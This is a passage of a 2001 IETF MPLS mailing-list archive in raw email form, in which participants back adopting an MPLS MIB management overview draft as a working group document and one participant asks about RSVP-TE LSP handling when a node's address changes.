	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlldu07852
	for <mpls@uu.net>; Wed, 17 Oct 2001 17:40:44 GMT
Received: from exchange01.movaz.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host180.movaz.com [65.205.166.180] (may be forged))
	id QQlldu06259
	for <mpls@uu.net>; Wed, 17 Oct 2001 17:41:01 GMT
Received: from BLIULAPTOP ([172.16.24.104]) by exchange01.movaz.com with Microsoft SMTPSVC(5.0.2195.1600);
	 Wed, 17 Oct 2001 13:40:44 -0400
Message-ID: <033a01c15732$d8ed82b0$681810ac@movaz.com>
From: "Adrian Farrel" <afarrel@movaz.com>
To: <mpls@UU.NET>
Cc: "Thomas Nadeau" <tnadeau@cisco.com>
References: <Your message of "Tue, 14 Aug 2001 22:54:44 +0200." <2413FED0DFE6D111B3F90008C7FA61FB0D3DA418@nl0006exch002u.nl.lucent.com> <4.3.2.7.2.20011017131848.01a42638@bucket.cisco.com>
Subject: Re: draft-nadeau-mpls-mgmt-overview-00.txt
Date: Wed, 17 Oct 2001 13:40:42 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0337_01C15711.51153750"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
X-OriginalArrivalTime: 17 Oct 2001 17:40:44.0341 (UTC) FILETIME=[D8FB3E50:01C15732]
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0337_01C15711.51153750
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I'd support that :-)

--
Adrian Farrel
Movaz Networks Inc.
Tel: 703-847-1867
afarrel@movaz.com
  ----- Original Message -----=20
  From: Thomas Nadeau=20
  To: mpls@uu.net=20
  Cc: Wijnen, Bert (Bert) ; Scott Bradner ; Rob Coltun ; abha ahuja ; =
George Swallow ; Vijay Srinivasan ; swallow@cisco.com ; =
cheenu@alphion.com ; afarrel@movaz.com=20
  Sent: Wednesday, October 17, 2001 1:38 PM
  Subject: draft-nadeau-mpls-mgmt-overview-00.txt



          Hi,

          I would like to propose that =
draft-nadeau-mpls-mgmt-overview-00.txt
  be accepted as an MPLS WG draft. This draft was specifically
  asked for by Bert Wijnen, one of the ADs for MPLS, in an effort
  to consolidate the information about MPLS-related MIBs in one
  place.=20

          --Tom




  =
------------------------------------------------------------------------
  Mathematics is the supreme nostalgia of our time.=20

------=_NextPart_000_0337_01C15711.51153750
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3019.2500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DCourier size=3D2>I'd support that :-)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DCourier size=3D2>--<BR>Adrian Farrel<BR>Movaz Networks =

Inc.<BR>Tel: 703-847-1867<BR><A=20
href=3D"mailto:afarrel@movaz.com">afarrel@movaz.com</A></FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:tnadeau@cisco.com" title=3Dtnadeau@cisco.com>Thomas =
Nadeau</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
href=3D"mailto:mpls@uu.net"=20
  title=3Dmpls@uu.net>mpls@uu.net</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A =
href=3D"mailto:bwijnen@lucent.com"=20
  title=3Dbwijnen@lucent.com>Wijnen, Bert (Bert)</A> ; <A=20
  href=3D"mailto:sob@harvard.edu" title=3Dsob@harvard.edu>Scott =
Bradner</A> ; <A=20
  href=3D"mailto:rcoltun@redback.com" title=3Drcoltun@redback.com>Rob =
Coltun</A> ;=20
  <A href=3D"mailto:ahuja@umich.edu" title=3Dahuja@umich.edu>abha =
ahuja</A> ; <A=20
  href=3D"mailto:swallow@cisco.com" title=3Dswallow@cisco.com>George =
Swallow</A> ;=20
  <A href=3D"mailto:vijay@cosinecom.com" =
title=3Dvijay@cosinecom.com>Vijay=20
  Srinivasan</A> ; <A href=3D"mailto:swallow@cisco.com"=20
  title=3Dswallow@cisco.com>swallow@cisco.com</A> ; <A=20
  href=3D"mailto:cheenu@alphion.com"=20
  title=3Dcheenu@alphion.com>cheenu@alphion.com</A> ; <A=20
  href=3D"mailto:afarrel@movaz.com" =
title=3Dafarrel@movaz.com>afarrel@movaz.com</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, October 17, =
2001 1:38=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B>=20
  draft-nadeau-mpls-mgmt-overview-00.txt</DIV>
  <DIV><BR></DIV><FONT=20
  =
size=3D3><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-T=
AB>Hi,<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-=
TAB>I=20
  would like to propose that =
draft-nadeau-mpls-mgmt-overview-00.txt<BR>be=20
  accepted as an MPLS WG draft. This draft was specifically<BR>asked for =
by Bert=20
  Wijnen, one of the ADs for MPLS, in an effort<BR>to consolidate the=20
  information about MPLS-related MIBs in one<BR>place.=20
  =
<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--=
Tom<BR></FONT><BR><BR><BR>
  =
<DIV>--------------------------------------------------------------------=
----</DIV>Mathematics=20
  is the supreme nostalgia of our time. </BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0337_01C15711.51153750--



From owner-mpls@UU.NET  Wed Oct 17 13:45:44 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01318
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 13:45:43 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlldu17272;
	Wed, 17 Oct 2001 17:43:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlldu18856
	for mpls-outgoing; Wed, 17 Oct 2001 17:42:34 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlldu18850
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 17:42:28 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlldu27261
	for <mpls@uu.net>; Wed, 17 Oct 2001 17:42:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlldu13939
	for <mpls@uu.net>; Wed, 17 Oct 2001 17:41:53 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA15873 for <mpls@uu.net>; Wed, 17 Oct 2001 13:42:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA06889 for mpls@uu.net; Wed, 17 Oct 2001 13:42:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlldu18620
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 17:39:34 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlldu29011
	for <mpls@uu.net>; Wed, 17 Oct 2001 17:37:49 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlldu05813
	for <mpls@uu.net>; Wed, 17 Oct 2001 17:37:40 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA15217; Wed, 17 Oct 2001 13:37:28 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAZ04878;
	Wed, 17 Oct 2001 13:37:24 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011017131848.01a42638@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 17 Oct 2001 13:38:27 -0400
To: mpls@UU.NET
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: draft-nadeau-mpls-mgmt-overview-00.txt
Cc: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>,
        Scott Bradner <sob@harvard.edu>, Rob Coltun <rcoltun@redback.com>,
        abha ahuja <ahuja@umich.edu>, George Swallow <swallow@cisco.com>,
        Vijay Srinivasan <vijay@cosinecom.com>, swallow@cisco.com,
        cheenu@alphion.com, afarrel@movaz.com
In-Reply-To: <200108151548.LAA27494@telescope.cisco.com>
References: <Your message of "Tue, 14 Aug 2001 22:54:44 +0200." <2413FED0DFE6D111B3F90008C7FA61FB0D3DA418@nl0006exch002u.nl.lucent.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_18162025==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_18162025==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


         Hi,

         I would like to propose that draft-nadeau-mpls-mgmt-overview-00.txt
be accepted as an MPLS WG draft. This draft was specifically
asked for by Bert Wijnen, one of the ADs for MPLS, in an effort
to consolidate the information about MPLS-related MIBs in one
place.

         --Tom



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_18162025==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Hi,<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>I would
like to propose that draft-nadeau-mpls-mgmt-overview-00.txt<br>
be accepted as an MPLS WG draft. This draft was specifically<br>
asked for by Bert Wijnen, one of the ADs for MPLS, in an effort<br>
to consolidate the information about MPLS-related MIBs in one<br>
place. <br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
</font><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_18162025==_.ALT--



From owner-mpls@UU.NET  Wed Oct 17 13:53:03 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01498
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 13:53:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlldv21620;
	Wed, 17 Oct 2001 17:49:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlldv19441
	for mpls-outgoing; Wed, 17 Oct 2001 17:48:44 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlldv19436
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 17:48:39 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlldv13836
	for <mpls@UU.NET>; Wed, 17 Oct 2001 17:47:32 GMT
Received: from relay.nayna.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.220.200.249])
	id QQlldv24123
	for <mpls@UU.NET>; Wed, 17 Oct 2001 17:47:23 GMT
Received: from nayna.com (dhcp-131-11.nayna.com [10.0.131.11])
	by relay.nayna.com (8.9.3/8.9.3) with ESMTP id KAA32498
	for <mpls@UU.NET>; Wed, 17 Oct 2001 10:47:28 -0700
Message-ID: <3BCDC430.6A5AF553@nayna.com>
Date: Wed, 17 Oct 2001 10:47:28 -0700
From: Sudheer Dharanikota <sudheer@nayna.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
CC: mpls@UU.NET
Subject: Re: draft-nadeau-mpls-mgmt-overview-00.txt
References: <Your message of "Tue, 14 Aug 2001 22:54:44 +0200." <2413FED0DFE6D111B3F90008C7FA61FB0D3DA418@nl0006exch002u.nl.lucent.com> <4.3.2.7.2.20011017131848.01a42638@bucket.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

This is a very important informational document tying all the relevant
MPLS MIBs. I support the idea of moving this as a WG document.

- sudheer

Thomas Nadeau wrote:

>
> Hi,
>
> I would like to propose that draft-nadeau-mpls-mgmt-overview-00.txt
> be accepted as an MPLS WG draft. This draft was specifically
> asked for by Bert Wijnen, one of the ADs for MPLS, in an effort
> to consolidate the information about MPLS-related MIBs in one
> place.
>
> --Tom
>
>
>
> -----------------------------------------------------------------------Mathematics
> is the supreme nostalgia of our time.



From owner-mpls@UU.NET  Wed Oct 17 13:56:39 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01651
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 13:56:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlldv04942;
	Wed, 17 Oct 2001 17:52:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlldv19739
	for mpls-outgoing; Wed, 17 Oct 2001 17:52:46 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlldv19731
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 17:52:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlldv15612
	for <mpls@UU.NET>; Wed, 17 Oct 2001 17:52:16 GMT
Received: from bridge.axiowave.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [216.49.69.50])
	id QQlldv07554
	for <mpls@UU.NET>; Wed, 17 Oct 2001 17:52:32 GMT
Message-ID: <EB5FFC72F183D411B3820006295734298CBF32@r2d2.axiowave.com>
From: Yanhe Fan <yfan@axiowave.com>
To: "'Thomas Nadeau'" <tnadeau@cisco.com>, mpls@UU.NET
Subject: RE: draft-nadeau-mpls-mgmt-overview-00.txt
Date: Wed, 17 Oct 2001 13:52:10 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15734.71CC87F0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15734.71CC87F0
Content-Type: text/plain;
	charset="iso-8859-1"

I second it.
 
Yanhe

-----Original Message-----
From: Thomas Nadeau [mailto:tnadeau@cisco.com]
Sent: Wednesday, October 17, 2001 1:38 PM
To: mpls@UU.NET
Cc: Wijnen, Bert (Bert); Scott Bradner; Rob Coltun; abha ahuja; George
Swallow; Vijay Srinivasan; swallow@cisco.com; cheenu@alphion.com;
afarrel@movaz.com
Subject: draft-nadeau-mpls-mgmt-overview-00.txt



        Hi,

        I would like to propose that draft-nadeau-mpls-mgmt-overview-00.txt
be accepted as an MPLS WG draft. This draft was specifically
asked for by Bert Wijnen, one of the ADs for MPLS, in an effort
to consolidate the information about MPLS-related MIBs in one
place. 

        --Tom




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 


------_=_NextPart_001_01C15734.71CC87F0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D140255217-17102001>I=20
second it.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D140255217-17102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D140255217-17102001>Yanhe</SPAN></FONT></DIV>
<BLOCKQUOTE>
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau=20
  [mailto:tnadeau@cisco.com]<BR><B>Sent:</B> Wednesday, October 17, =
2001 1:38=20
  PM<BR><B>To:</B> mpls@UU.NET<BR><B>Cc:</B> Wijnen, Bert (Bert); Scott =
Bradner;=20
  Rob Coltun; abha ahuja; George Swallow; Vijay Srinivasan; =
swallow@cisco.com;=20
  cheenu@alphion.com; afarrel@movaz.com<BR><B>Subject:</B>=20
  draft-nadeau-mpls-mgmt-overview-00.txt<BR><BR></DIV></FONT><FONT=20
  =
size=3D3><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-=
TAB>Hi,<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</=
X-TAB>I=20
  would like to propose that =
draft-nadeau-mpls-mgmt-overview-00.txt<BR>be=20
  accepted as an MPLS WG draft. This draft was specifically<BR>asked =
for by Bert=20
  Wijnen, one of the ADs for MPLS, in an effort<BR>to consolidate the=20
  information about MPLS-related MIBs in one<BR>place.=20
  =
<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>-=
-Tom<BR></FONT><BR><BR><BR>
  =
<DIV>-------------------------------------------------------------------=
-----</DIV>Mathematics=20
  is the supreme nostalgia of our time. </BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C15734.71CC87F0--


From owner-mpls@UU.NET  Wed Oct 17 14:03:29 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA01872
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 14:03:29 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlldv10046;
	Wed, 17 Oct 2001 17:59:55 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlldv20218
	for mpls-outgoing; Wed, 17 Oct 2001 17:59:24 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlldv20213
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 17:59:22 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlldv15024
	for <mpls@UU.NET>; Wed, 17 Oct 2001 17:59:20 GMT
Received: from auemail1.firewall.lucent.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: auemail1.lucent.com [192.11.223.161])
	id QQlldv19363
	for <mpls@UU.NET>; Wed, 17 Oct 2001 17:59:11 GMT
Received: from mvmail.mv.lucent.com (h135-13-96-58.lucent.com [135.13.96.58])
	by auemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f9HHxIu13430;
	Wed, 17 Oct 2001 13:59:19 -0400 (EDT)
Received: from lucent.com (ma0940xuyg.mv.lucent.com [135.13.38.228]) by mvmail.mv.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id NAA17764; Wed, 17 Oct 2001 13:59:18 -0400 (EDT)
Message-ID: <3BCDC6F5.4F60C24D@lucent.com>
Date: Wed, 17 Oct 2001 13:59:17 -0400
From: Yangguang Xu <xuyg@lucent.com>
Organization: Lucent Technologies, Inc.
X-Mailer: Mozilla 4.7 [en]C-EMS-1.4  (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Nadeau <tnadeau@cisco.com>
CC: mpls@UU.NET
Subject: Re: draft-nadeau-mpls-mgmt-overview-00.txt
References: <Your message of "Tue, 14 Aug 2001 22:54:44 +0200." <2413FED0DFE6D111B3F90008C7FA61FB0D3DA418@nl0006exch002u.nl.lucent.com> <4.3.2.7.2.20011017131848.01a42638@bucket.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

It should be an WG document.

Thomas Nadeau wrote:
> 
>         Hi,
> 
>         I would like to propose that draft-nadeau-mpls-mgmt-overview-00.txt
> be accepted as an MPLS WG draft. This draft was specifically
> asked for by Bert Wijnen, one of the ADs for MPLS, in an effort
> to consolidate the information about MPLS-related MIBs in one
> place.
> 
>         --Tom
> 
> ------------------------------------------------------------------------
> Mathematics is the supreme nostalgia of our time.


From owner-mpls@UU.NET  Wed Oct 17 14:39:54 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03090
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 14:39:53 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlldy18977;
	Wed, 17 Oct 2001 18:38:05 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlldy12646
	for mpls-outgoing; Wed, 17 Oct 2001 18:37:56 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlldy12639
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 18:37:49 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlldy26789
	for <mpls@uu.net>; Wed, 17 Oct 2001 18:36:31 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQlldy11770
	for <mpls@uu.net>; Wed, 17 Oct 2001 18:36:40 GMT
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9HIYd814379;
	Wed, 17 Oct 2001 20:34:39 +0200 (MET DST)
To: mpls@UU.NET
Cc: brockmas@se.bel.alcatel.be
Subject: <draft-ietf-mpls-rsvp-lsp-tunnel>
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF65AECED9.7BFF7EBA-ONC1256AE8.0065F19C@net.alcatel.be>
Date: Wed, 17 Oct 2001 20:34:37 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/17/2001 20:34:39,
	Serialize complete at 10/17/2001 20:34:39
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 006607D3C1256AE8_="
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format.
--=_alternative 006607D3C1256AE8_=
Content-Type: text/plain; charset="us-ascii"

Hello,

I have 2 questions on <draft-ietf-mpls-rsvp-lsp-tunnel>. Consider the 
following LSP:

        Node1 ====> Node2 ======> Node3 =====> Node4 ======> Egress



Consider 2 situations:


1) Assume that the operator modifies the IP@ of node **2** on the link 
[node 2 - node 3]. Is it then
* needed to break down the LSP
or
* is it allowed that the LSP is kept up but that node 2 sends a PATH 
message with the modified RSVH_HOP object?
[The latter would also imply that node 3 would start sending to node 2 
RESV refresh messages with the new IP@ of node 2 as the IP destination 
address.]


2) Assume that the operator modifies the IP@ of node **3** on the link 
[node 2 - node 3]. Is it then
* needed to break down the LSP
or
* is it allowed that the LSP is kept up but that node **3** sends a RESV 
message to node 2 with the modified RSVH_HOP object?


Best regards,

        Francis.
--=_alternative 006607D3C1256AE8_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Hello,</font>
<br>
<br><font size=2><tt>I have 2 questions on &lt;draft-ietf-mpls-rsvp-lsp-tunnel&gt;. Consider the following LSP:</tt></font>
<br><font size=2><tt><br>
 &nbsp; &nbsp; &nbsp; &nbsp;Node1 ====&gt; Node2 ======&gt; Node3 =====&gt; Node4 ======&gt; Egress<br>
</tt></font>
<br>
<br>
<br><font size=2><tt>Consider 2 situations:</tt></font>
<br>
<br>
<br><font size=2><tt>1) Assume that the operator modifies the IP@ of node **2** on the link [node 2 - node 3]. Is it then</tt></font>
<br><font size=2><tt>* needed to break down the LSP</tt></font>
<br><font size=2><tt>or</tt></font>
<br><font size=2><tt>* is it allowed that the LSP is kept up but that node 2 sends a PATH message with the modified RSVH_HOP object?</tt></font>
<br><font size=2><tt>[The latter would also imply that node 3 would start sending to node 2 RESV refresh messages with the new IP@ of node 2 as the IP destination address.]</tt></font>
<br>
<br>
<br><font size=2><tt>2) Assume that the operator modifies the IP@ of node **3** on the link [node 2 - node 3]. Is it then</tt></font>
<br><font size=2><tt>* needed to break down the LSP</tt></font>
<br><font size=2><tt>or</tt></font>
<br><font size=2><tt>* is it allowed that the LSP is kept up but that node **3** sends a RESV message to node 2 with the modified RSVH_HOP object?</tt></font>
<br>
<br>
<br><font size=2><tt>Best regards,</tt></font>
<br>
<br><font size=2><tt>&nbsp; &nbsp; &nbsp; &nbsp; Francis.</tt></font>
--=_alternative 006607D3C1256AE8_=--


From owner-mpls@UU.NET  Wed Oct 17 14:44:20 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03289
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 14:44:20 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlldy28267;
	Wed, 17 Oct 2001 18:42:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlldy13069
	for mpls-outgoing; Wed, 17 Oct 2001 18:42:30 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlldy13060
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 18:42:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlldy22487
	for <mpls@uu.net>; Wed, 17 Oct 2001 18:41:47 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQlldy21289
	for <mpls@uu.net>; Wed, 17 Oct 2001 18:41:56 GMT
